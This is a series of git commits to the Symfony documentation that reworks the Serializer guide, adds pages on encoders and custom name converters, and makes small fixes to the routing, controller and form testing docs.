tree structure, + all child elements that exist in the normalized data will be re-created + with new instances. + + When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` context + option is set to ``true``, existing children of the root ``OBJECT_TO_POPULATE`` + are updated from the normalized data, instead of the denormalizer + re-creating them. This only works for single child objects, not for + arrays of objects. Those will still be replaced when present in the + normalized data. + +.. _serializer_interfaces-and-abstract-classes: + +Deserializing Interfaces and Abstract Classes +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When working with associated objects, a property sometimes reference an +interface or abstract class. When deserializing these properties, the +Serializer has to know which concrete class to initialize. This is done +using a *discriminator class mapping*. + +Imagine there is an ``InvoiceItemInterface`` that is implemented by the +``Product`` and ``Shipping`` objects. When serializing an object, the +serializer will add an extra "discriminator attribute". This contains +either ``product`` or ``shipping``. The discriminator class map maps +these type names to the real PHP class name when deserializing: + +.. configuration-block:: + + .. code-block:: php-attributes + + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\DiscriminatorMap; + + #[DiscriminatorMap( + typeProperty: 'type', + mapping: [ + 'product' => Product::class, + 'shipping' => Shipping::class, + ] + )] + interface InvoiceItemInterface + { + // ... + } + + .. code-block:: yaml + + App\Model\InvoiceItemInterface: + discriminator_map: + type_property: type + mapping: + product: 'App\Model\Product' + shipping: 'App\Model\Shipping' + + .. code-block:: xml -`API Platform`_ provides an API system supporting the following formats: + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\InvoiceItemInterface"> + <discriminator-map type-property="type"> + <mapping type="product" class="App\Model\Product"/> + <mapping type="shipping" class="App\Model\Shipping"/> + </discriminator-map> + </class> + </serializer> + +With the discriminator map configured, the serializer can now pick the +correct class for properties typed as `InvoiceItemInterface`:: + +.. configuration-block:: + + .. code-block:: php-symfony + + class InvoiceLine + { + public function __construct( + private InvoiceItemInterface $invoiceItem + ) { + $this->invoiceItem = $invoiceItem; + } + + public function getInvoiceItem(): InvoiceItemInterface + { + return $this->invoiceItem; + } + + // ... + } + + // ... + $invoiceLine = new InvoiceLine(new Product()); + + $jsonString = $serializer->serialize($invoiceLine, 'json'); + // $jsonString contains {"type":"product",...} + + $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json'); + // $invoiceLine contains new InvoiceLine(new Product(...)) + + .. code-block:: php-standalone + + // ... + use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata; + use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; + use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + class InvoiceLine + { + public function __construct( + private InvoiceItemInterface $invoiceItem + ) { + $this->invoiceItem = $invoiceItem; + } + + public function getInvoiceItem(): InvoiceItemInterface + { + return $this->invoiceItem; + } + + // ... + } + + // ... + + // Configure a loader to retrieve mapping information like DiscriminatorMap. + // E.g. when using PHP attributes: + $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); + $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory); + $normalizers = [ + new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator), + ]; + + $serializer = new Serializer($normalizers, $encoders); + + $invoiceLine = new InvoiceLine(new Product()); + + $jsonString = $serializer->serialize($invoiceLine, 'json'); + // $jsonString contains {"type":"product",...} + + $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json'); + // $invoiceLine contains new InvoiceLine(new Product(...)) + +.. _serializer-unwrapping-denormalizer: + +Deserializing Input Partially (Unwrapping) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The serializer will always deserialize the complete input string into PHP +values. When connecting with third party APIs, you often only need a +specific part of the returned response. + +To avoid deserializing the whole response, you can use the +:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer` +and "unwrap" the input data:: + + $jsonData = '{"result":"success","data":{"person":{"name": "Jane Doe","age":57}}}'; + $data = $serialiser->deserialize($jsonData, Object::class, [ + UnwrappingDenormalizer::UNWRAP_PATH => '[data][person]', + ]); + // $data is Person(name: 'Jane Doe', age: 57) + +The ``unwrap_path`` is a :ref:`property path <property-access-reading-arrays>` +of the PropertyAccess component, applied on the denormalized array. + +Handling Constructor Arguments +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If the class constructor defines arguments, as usually happens with +`Value Objects`_, the serializer will match the parameter names with the +deserialized attributes. If some parameters are missing, a +:class:`Symfony\\Component\\Serializer\\Exception\\MissingConstructorArgumentsException` +is thrown. + +In these cases, use the ``default_constructor_arguments`` context option to +define default values for the missing parameters:: -* `JSON-LD`_ along with the `Hydra Core Vocabulary`_ -* `OpenAPI`_ v2 (formerly Swagger) and v3 -* `GraphQL`_ -* `JSON:API`_ -* `HAL`_ -* JSON -* XML -* YAML -* CSV + use App\Model\Person; + use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; + // ... -It is built on top of the Symfony Framework and its Serializer -component. It provides custom normalizers and a custom encoder, custom metadata -and a caching system. + $jsonData = '{"age":39,"name":"Jane Doe"}'; + $person = $serializer->deserialize($jsonData, Person::class, 'json', [ + AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [ + Person::class => ['sportsperson' => true], + ], + ]); + // $person is Person(name: 'Jane Doe', age: 39, sportsperson: true); + +Recursive Denormalization and Type Safety +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When a ``PropertyTypeExtractor`` is available, the normalizer will also +check that the data to denormalize matches the type of the property (even +for primitive types). For instance, if a ``string`` is provided, but the +type of the property is ``int``, an +:class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException` +will be thrown. The type enforcement of the properties can be disabled by +setting the serializer context option +``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT`` to ``true``. + +.. _serializer-enabling-metadata-cache: + +Configuring the Metadata Cache +------------------------------ + +The metadata for the serializer is automatically cached to enhance application +performance. By default, the serializer uses the ``cache.system`` cache pool +which is configured using the :ref:`cache.system <reference-cache-system>` +option. -If you want to leverage the full power of the Symfony Serializer component, -take a look at how this bundle works. +Going Further with the Serializer +--------------------------------- .. toctree:: + :glob: :maxdepth: 1 - serializer/custom_encoders - serializer/custom_normalizer - serializer/custom_context_builders + serializer/* +.. _`JMS serializer`: https://github.com/schmittjoh/serializer .. _`API Platform`: https://api-platform.com .. _`JSON-LD`: https://json-ld.org .. _`Hydra Core Vocabulary`: https://www.hydra-cg.com/ @@ -593,3 +2130,10 @@ take a look at how this bundle works. .. _`GraphQL`: https://graphql.org .. _`JSON:API`: https://jsonapi.org .. _`HAL`: https://stateless.group/hal_specification.html +.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807 +.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122 +.. _`RFC 3339`: https://tools.ietf.org/html/rfc3339#section-5.8 +.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php +.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs +.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php +.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst index 31fba6c90f5..acb6a8b6ee3 100644 --- a/serializer/custom_context_builders.rst +++ b/serializer/custom_context_builders.rst @@ -5,11 +5,9 @@ How to Create your Custom Context Builder Context builders were introduced in Symfony 6.1. -The :doc:`Serializer Component </components/serializer>` uses Normalizers -and Encoders to transform any data to any data-structure (e.g. JSON). -That serialization process can be configured thanks to a -:ref:`serialization context <serializer_serializer-context>`, which can be built thanks to -:ref:`context builders <component-serializer-context-builders>`. +That serialization process of the :doc:`Serializer Component </serializer>` +can be configured by the :ref:`serialization context <serializer-context>`, +which can be built thanks to :ref:`context builders <serializer-using-context-builders>`. Each built-in normalizer/encoder has its related context builder. However, you may want to create a custom context builder for your diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst deleted file mode 100644 index dca6aa12ec4..00000000000 --- a/serializer/custom_encoders.rst +++ /dev/null @@ -1,61 +0,0 @@ -How to Create your Custom Encoder -================================= - -The :doc:`Serializer Component </components/serializer>` uses Normalizers -to transform any data to an array. Then, by leveraging *Encoders*, that data can -be converted into any data-structure (e.g. JSON). - -The Component provides several built-in encoders that are described -:doc:`in the serializer component </components/serializer>` but you may want -to use another structure that's not supported. - -Creating a new encoder ----------------------- - -Imagine you want to serialize and deserialize YAML. For that you'll have to -create your own encoder that uses the -:doc:`Yaml Component </components/yaml>`:: - - // src/Serializer/YamlEncoder.php - namespace App\Serializer; - - use Symfony\Component\Serializer\Encoder\DecoderInterface; - use Symfony\Component\Serializer\Encoder\EncoderInterface; - use Symfony\Component\Yaml\Yaml; - - class YamlEncoder implements EncoderInterface, DecoderInterface - { - public function encode($data, string $format, array $context = []): string - { - return Yaml::dump($data); - } - - public function supportsEncoding(string $format, array $context = []): bool - { - return 'yaml' === $format; - } - - public function decode(string $data, string $format, array $context = []): array - { - return Yaml::parse($data); - } - - public function supportsDecoding(string $format, array $context = []): bool - { - return 'yaml' === $format; - } - } - -Registering it in your app --------------------------- - -If you use the Symfony Framework, then you probably want to register this encoder -as a service in your app. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, -that's done automatically! - -.. tip:: - - If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure - to register your class as a service and tag it with ``serializer.encoder``. - -Now you'll be able to serialize and deserialize YAML! diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst new file mode 100644 index 00000000000..82247134217 --- /dev/null +++ b/serializer/custom_name_converter.rst @@ -0,0 +1,105 @@ +How to Create your Custom Name Converter +======================================== + +The Serializer Component uses :ref:`name converters <serializer-name-conversion>` +to transform the attribute names (e.g. from snake_case in JSON to CamelCase +for PHP properties). + +Imagine you have the following object:: + + namespace App\Model; + + class Company + { + public string $name; + public string $address; + } + +And in the serialized form, all attributes must be prefixed by ``org_`` like +the following: + +.. code-block:: json + + {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"} + +A custom name converter can handle such cases:: + + namespace App\Serializer; + + use Symfony\Component\Serializer\NameConverter\NameConverterInterface; + + class OrgPrefixNameConverter implements NameConverterInterface + { + public function normalize(string $propertyName): string + { + // during normalization, add the prefix + return 'org_'.$propertyName; + } + + public function denormalize(string $propertyName): string + { + // remove the 'org_' prefix on denormalizing + return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName; + } + } + +.. note:: + + You can also implement + :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface` + to access the current class name, format and context. + +Then, configure the serializer to use your name converter: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/serializer.yaml + framework: + serializer: + # pass the service ID of your name converter + name_converter: 'App\Serializer\OrgPrefixNameConverter' + + .. code-block:: xml + + <!-- config/packages/serializer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <!-- pass the service ID of your name converter --> + <framework:serializer + name-converter="App\Serializer\OrgPrefixNameConverter" + /> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/serializer.php + use App\Serializer\OrgPrefixNameConverter; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework) { + $framework->serializer() + // pass the service ID of your name converter + ->nameConverter(OrgPrefixNameConverter::class) + ; + }; + +Now, when using the serializer in the application, all attributes will be +prefixed by ``org_``:: + + // ... + $company = new Company('Acme Inc.', '123 Main Street, Big City'); + + $json = $serializer->serialize($company, 'json'); + // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"} + $companyCopy = $serializer->deserialize($json, Company::class, 'json'); + // Same data as $company diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst index 3d2e7cd2a7e..276c618b8ac 100644 --- a/serializer/custom_normalizer.rst +++ b/serializer/custom_normalizer.rst @@ -1,10 +1,11 @@ How to Create your Custom Normalizer ==================================== -The :doc:`Serializer component </components/serializer>` uses -normalizers to transform any data into an array. The component provides several -:ref:`built-in normalizers <component-serializer-normalizers>` but you may need to create -your own normalizer to transform an unsupported data structure. +The :doc:`Serializer component </serializer>` uses normalizers to transform +any data into an array. The component provides several +ref:`built-in normalizers <serializer-built-in-normalizers>` but you may +need to create your own normalizer to transform an unsupported data +structure. Creating a New Normalizer ------------------------- @@ -67,6 +68,63 @@ a service and :doc:`tagged </service_container/tags>` with ``serializer.normaliz If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, this is done automatically! +If you're not using ``autoconfigure``, you have to tag the service with +``serializer.normalizer``. You can also use this method to set a priority +(higher means it's called earlier in the process): + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + App\Serializer\TopicNormalizer: + tags: + # register the normalizer with a high priority (called earlier) + - { name: 'serializer.normalizer', priority: 500 } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <service id="App\Serializer\TopicNormalizer"> + <!-- register the normalizer with a high priority (called earlier) --> + <tag name="serializer.normalizer" + priority="500" + /> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Serializer\TopicNormalizer; + + return function(ContainerConfigurator $container) { + // ... + + // if you're using autoconfigure, the tag will be automatically applied + $services->set(TopicNormalizer::class) + // register the normalizer with a high priority (called earlier) + ->tag('serializer.normalizer', [ + 'priority' => 500, + ]) + ; + }; + Performance ----------- @@ -90,7 +148,7 @@ is called. .. note:: - All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>` + All built-in :ref:`normalizers and denormalizers <serializer-built-in-normalizers>` as well the ones included in `API Platform`_ natively implement this interface. .. deprecated:: 6.3 diff --git a/serializer/encoders.rst b/serializer/encoders.rst new file mode 100644 index 00000000000..c8bddc604ba --- /dev/null +++ b/serializer/encoders.rst @@ -0,0 +1,371 @@ +Serializer Encoders +=================== + +The Serializer component provides several built-in encoders: + +:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder` + This class encodes and decodes data in `JSON`_. + +:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder` + This class encodes and decodes data in `XML`_. + +:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder` + This encoder encodes and decodes data in `YAML`_. This encoder requires the + :doc:`Yaml Component </components/yaml>`. + +:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder` + This encoder encodes and decodes data in `CSV`_. + +.. note:: + + You can also create your own encoder to use another structure. Read more at + :ref:`Creating a Custom Encoder <serializer-custom-encoder>` below. + +All these encoders are enabled by default when using the Serializer component +in a Symfony application. + +The ``JsonEncoder`` +------------------- + +The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP +:phpfunction:`json_encode` and :phpfunction:`json_decode` functions. + +It can be useful to modify how these functions operate in certain instances +by providing options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use +the serialization context to pass in these options using the key +``json_encode_options`` or ``json_decode_options`` respectively:: + + $this->serializer->serialize($data, 'json', [ + 'json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION, + ]); + +All context options available for the JSON encoder are: + +``json_decode_associative`` (default: ``false``) + If set to ``true`` returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise. +``json_decode_detailed_errors`` (default: ``false``) + If set to ``true`` exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package. + + .. versionadded:: 6.4 + + The ``json_decode_detailed_errors`` option was introduced in Symfony 6.4. +``json_decode_options`` (default: ``0``) + Flags passed to :phpfunction:`json_decode` function. +``json_encode_options`` (default: ``\JSON_PRESERVE_ZERO_FRACTION``) + Flags passed to :phpfunction:`json_encode` function. +``json_decode_recursion_depth`` (default: ``512``) + Sets maximum recursion depth. + +The ``CsvEncoder`` +------------------ + +The ``CsvEncoder`` encodes to and decodes from CSV. Serveral :ref:`context options <serializer-context>` +are available to customize the behavior of the encoder: + +``csv_delimiter`` (default: ``,``) + Sets the field delimiter separating values (one character only). +``csv_enclosure`` (default: ``"``) + Sets the field enclosure (one character only). +``csv_end_of_line`` (default: ``\n``) + Sets the character(s) used to mark the end of each line in the CSV file. +``csv_escape_char`` (default: empty string) + Sets the escape character (at most one character). +``csv_key_separator`` (default: ``.``) + Sets the separator for array's keys during its flattening +``csv_headers`` (default: ``[]``, inferred from input data's keys) + Sets the order of the header and data columns. + E.g. if you set it to ``['a', 'b', 'c']`` and serialize + ``['c' => 3, 'a' => 1, 'b' => 2]``, the order will be ``a,b,c`` instead + of the input order (``c,a,b``). +``csv_escape_formulas`` (default: ``false``) + Escapes fields containing formulas by prepending them with a ``\t`` character. +``as_collection`` (default: ``true``) + Always returns results as a collection, even if only one line is decoded. +``no_headers`` (default: ``false``) + Setting to ``false`` will use first row as headers when denormalizing, + ``true`` generates numeric headers. +``output_utf8_bom`` (default: ``false``) + Outputs special `UTF-8 BOM`_ along with encoded data. + +The ``XmlEncoder`` +------------------ + +This encoder transforms PHP values into XML and vice versa. + +For example, take an object that is normalized as following:: + + $normalizedArray = ['foo' => [1, 2], 'bar' => true]; + +The ``XmlEncoder`` will encode this object like: + +.. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <response> + <foo>1</foo> + <foo>2</foo> + <bar>1</bar> + </response> + +The special ``#`` key can be used to define the data of a node:: + + ['foo' => ['@bar' => 'value', '#' => 'baz']]; + + /* is encoded as follows: + <?xml version="1.0"?> + <response> + <foo bar="value"> + baz + </foo> + </response> + */ + +Furthermore, keys beginning with ``@`` will be considered attributes, and +the key ``#comment`` can be used for encoding XML comments:: + + $encoder = new XmlEncoder(); + $xml = $encoder->encode([ + 'foo' => ['@bar' => 'value'], + 'qux' => ['#comment' => 'A comment'], + ], 'xml'); + /* will return: + <?xml version="1.0"?> + <response> + <foo bar="value"/> + <qux><!-- A comment --!><qux> + </response> + */ + +You can pass the context key ``as_collection`` in order to have the results +always as a collection. + +.. note:: + + You may need to add some attributes on the root node:: + + $encoder = new XmlEncoder(); + $encoder->encode([ + '@attribute1' => 'foo', + '@attribute2' => 'bar', + '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']] + ], 'xml'); + + // will return: + // <?xml version="1.0"?> + // <response attribute1="foo" attribute2="bar"> + // <foo bar="value">baz</foo> + // </response> + +.. tip:: + + XML comments are ignored by default when decoding contents, but this + behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``. + + Data with ``#comment`` keys are encoded to XML comments by default. This can be + changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES`` + key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or + directly to the ``$context`` argument of the ``encode()`` method:: + + $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]); + +The ``XmlEncoder`` Context Options +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +These are the options available on the :ref:`serializer context <serializer-context>`: + +``xml_format_output`` (default: ``false``) + If set to true, formats the generated XML with line breaks and indentation. +``xml_version`` (default: ``1.0``) + Sets the XML version attribute. +``xml_encoding`` (default: ``utf-8``) + Sets the XML encoding attribute. +``xml_standalone`` (default: ``true``) + Adds standalone attribute in the generated XML. +``xml_type_cast_attributes`` (default: ``true``) + This provides the ability to forget the attribute type casting. +``xml_root_node_name`` (default: ``response``) + Sets the root node name. +``as_collection`` (default: ``false``) + Always returns results as a collection, even if only one line is decoded. +``decoder_ignored_node_types`` (default: ``[\XML_PI_NODE, \XML_COMMENT_NODE]``) + Array of node types (`DOM XML_* constants`_) to be ignored while decoding. +``encoder_ignored_node_types`` (default: ``[]``) + Array of node types (`DOM XML_* constants`_) to be ignored while encoding. +``load_options`` (default: ``\LIBXML_NONET | \LIBXML_NOBLANKS``) + XML loading `options with libxml`_. +``save_options`` (default: ``0``) + XML saving `options with libxml`_. + + .. versionadded:: 6.3 + + The ``save_options`` option was introduced in Symfony 6.3. +``remove_empty_tags`` (default: ``false``) + If set to ``true``, removes all empty tags in the generated XML. +``cdata_wrapping`` (default: ``true``) + If set to ``false``, will not wrap any value containing one of the + following characters ( ``<``, ``>``, ``&``) in `a CDATA section`_ like + following: ``<![CDATA[...]]>``. + + .. versionadded:: 6.4 + + The ``cdata_wrapping`` option was introduced in Symfony 6.4. + +Example with a custom ``context``:: + + use Symfony\Component\Serializer\Encoder\XmlEncoder; + + $data = [ + 'id' => 'IDHNQIItNyQ', + 'date' => '2019-10-24', + ]; + + $xmlEncoder->encode($data, 'xml', ['xml_format_output' => true]); + // outputs: + // <?xml version="1.0"?> + // <response> + // <id>IDHNQIItNyQ</id> + // <date>2019-10-24</date> + // </response> + + $xmlEncoder->encode($data, 'xml', [ + 'xml_format_output' => true, + 'xml_root_node_name' => 'track', + 'encoder_ignored_node_types' => [ + \XML_PI_NODE, // removes XML declaration (the leading xml tag) + ], + ]); + // outputs: + // <track> + // <id>IDHNQIItNyQ</id> + // <date>2019-10-24</date> + // </track> + +The ``YamlEncoder`` +------------------- + +This encoder requires the :doc:`Yaml Component </components/yaml>` and +transforms from and to Yaml. + +Like other encoder, several :ref:`context options <serializer-context>` are +available: + +``yaml_inline`` (default: ``0``) + The level where you switch to inline YAML. +``yaml_indent`` (default: ``0``) + The level of indentation (used internally). +``yaml_flags`` (default: ``0``) + A bit field of ``Yaml::DUMP_*``/``Yaml::PARSE_*`` constants to + customize the encoding/decoding YAML string. + +.. _serializer-custom-encoder: + +Creating a Custom Encoder +------------------------- + +Imagine you want to serialize and deserialize `NEON`_. For that you'll have to +create your own encoder:: + + // src/Serializer/YamlEncoder.php + namespace App\Serializer; + + use Nette\Neon\Neon; + use Symfony\Component\Serializer\Encoder\DecoderInterface; + use Symfony\Component\Serializer\Encoder\EncoderInterface; + + class NeonEncoder implements EncoderInterface, DecoderInterface + { + public function encode($data, string $format, array $context = []) + { + return Neon::encode($data); + } + + public function supportsEncoding(string $format) + { + return 'neon' === $format; + } + + public function decode(string $data, string $format, array $context = []) + { + return Neon::decode($data); + } + + public function supportsDecoding(string $format) + { + return 'neon' === $format; + } + } + +.. tip:: + + If you need access to ``$context`` in your ``supportsDecoding`` or + ``supportsEncoding`` method, make sure to implement + ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface`` + or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly. + +Registering it in Your App +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you use the Symfony Framework, then you probably want to register this encoder +as a service in your app. If you're using the +:ref:`default services.yaml configuration <service-container-services-load-example>`, +that's done automatically! + +If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure +to register your class as a service and tag it with ``serializer.encoder``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + App\Serializer\NeonEncoder: + tags: ['serializer.encoder'] + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <service id="App\Serializer\NeonEncoder"> + <tag name="serializer.encoder"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Serializer\NeonEncoder; + + return function(ContainerConfigurator $container) { + // ... + + $services->set(NeonEncoder::class) + ->tag('serializer.encoder') + ; + }; + +Now you'll be able to serialize and deserialize NEON! + +.. _JSON: https://www.json.org/json-en.html +.. _XML: https://www.w3.org/XML/ +.. _YAML: https://yaml.org/ +.. _CSV: https://tools.ietf.org/html/rfc4180 +.. _seld/jsonlint: https://github.com/Seldaek/jsonlint +.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark +.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php +.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php +.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA +.. _NEON: https://ne-on.org/ From 2f8a9d656df47bbe5cdd25094ffb183af8aba376 Mon Sep 17 00:00:00 2001 From: Wouter de Jong <wouter@wouterj.nl> Date: Sat, 23 Nov 2024 18:00:57 +0100 Subject: [PATCH 516/615] Syntax fixes --- serializer.rst | 2 +- serializer/custom_normalizer.rst | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/serializer.rst b/serializer.rst index 6a12f689512..648b44670f1 100644 --- a/serializer.rst +++ b/serializer.rst @@ -1266,7 +1266,7 @@ normalizers (in order of priority): :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings, integers or floats. By default, it converts them to strings using the - `RFC3339`_ format. Use ``DateTimeNormalizer::FORMAT_KEY`` and + `RFC 3339`_ format. Use ``DateTimeNormalizer::FORMAT_KEY`` and ``DateTimeNormalizer::TIMEZONE_KEY`` to change the format. To convert the objects to integers or floats, set the serializer diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst index 26eacdeba0b..10092c6baa7 100644 --- a/serializer/custom_normalizer.rst +++ b/serializer/custom_normalizer.rst @@ -76,6 +76,7 @@ If you're not using ``autoconfigure``, you have to tag the service with .. configuration-block:: .. code-block:: yaml + # config/services.yaml services: # ... From a51974c18e96fdf1e5fab687a3515dd53cb689f5 Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Sun, 24 Nov 2024 12:17:56 +0100 Subject: [PATCH 517/615] Replace annotation to attribute in form unit testing comment --- form/unit_testing.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/form/unit_testing.rst b/form/unit_testing.rst index 8c005ba5ea9..ea11e947fde 100644 --- a/form/unit_testing.rst +++ b/form/unit_testing.rst @@ -214,7 +214,7 @@ allows you to return a list of extensions to register:: { $validator = Validation::createValidator(); - // or if you also need to read constraints from annotations + // or if you also need to read constraints from attributes $validator = Validation::createValidatorBuilder() ->enableAttributeMapping() ->getValidator(); From ebfa5e2d83e4693aeebe68223ec892ad0a6aac6f Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Sun, 24 Nov 2024 12:43:10 +0100 Subject: [PATCH 518/615] [Routing] Add example of Requirement enum --- routing.rst | 45 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) diff --git a/routing.rst b/routing.rst index e2ca7f1a1fe..721a28e3db2 100644 --- a/routing.rst +++ b/routing.rst @@ -666,6 +666,51 @@ URL Route Parameters contains a collection of commonly used regular-expression constants such as digits, dates and UUIDs which can be used as route parameter requirements. + .. configuration-block:: + + .. code-block:: php-attributes + + // src/Controller/BlogController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + use Symfony\Component\Routing\Requirement\Requirement; + + class BlogController extends AbstractController + { + #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => Requirement::DIGITS])] + public function list(int $page): Response + { + // ... + } + } + + .. code-block:: yaml + + # config/routes.yaml + blog_list: + path: /blog/{page} + controller: App\Controller\BlogController::list + requirements: + page: !php/const Symfony\Component\Routing\Requirement\Requirement::DIGITS + + .. code-block:: php + + // config/routes.php + use App\Controller\BlogController; + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + use Symfony\Component\Routing\Requirement\Requirement; + + return static function (RoutingConfigurator $routes): void { + $routes->add('blog_list', '/blog/{page}') + ->controller([BlogController::class, 'list']) + ->requirements(['page' => Requirement::DIGITS]) + ; + // ... + }; + .. versionadded:: 6.1 The ``Requirement`` enum was introduced in Symfony 6.1. From 42b4c95c3ae2d4b0b9153ae4a099dddf292bba1e Mon Sep 17 00:00:00 2001 From: Florian Merle <florian.david.merle@gmail.com> Date: Tue, 26 Nov 2024 13:29:39 +0100 Subject: [PATCH 519/615] update controller return value doc --- controller.rst | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/controller.rst b/controller.rst index d4f7f99d43d..40e47dbbedf 100644 --- a/controller.rst +++ b/controller.rst @@ -447,7 +447,7 @@ and provides methods for getting and setting response headers. The header names normalized. As a result, the name ``Content-Type`` is equivalent to the name ``content-type`` or ``content_type``. -In Symfony, a controller is required to return a ``Response`` object:: +In Symfony, a controller usually returns a ``Response`` object:: use Symfony\Component\HttpFoundation\Response; @@ -463,6 +463,14 @@ response types. Some of these are mentioned below. To learn more about the ``Request`` and ``Response`` (and different ``Response`` classes), see the :ref:`HttpFoundation component documentation <component-http-foundation-request>`. 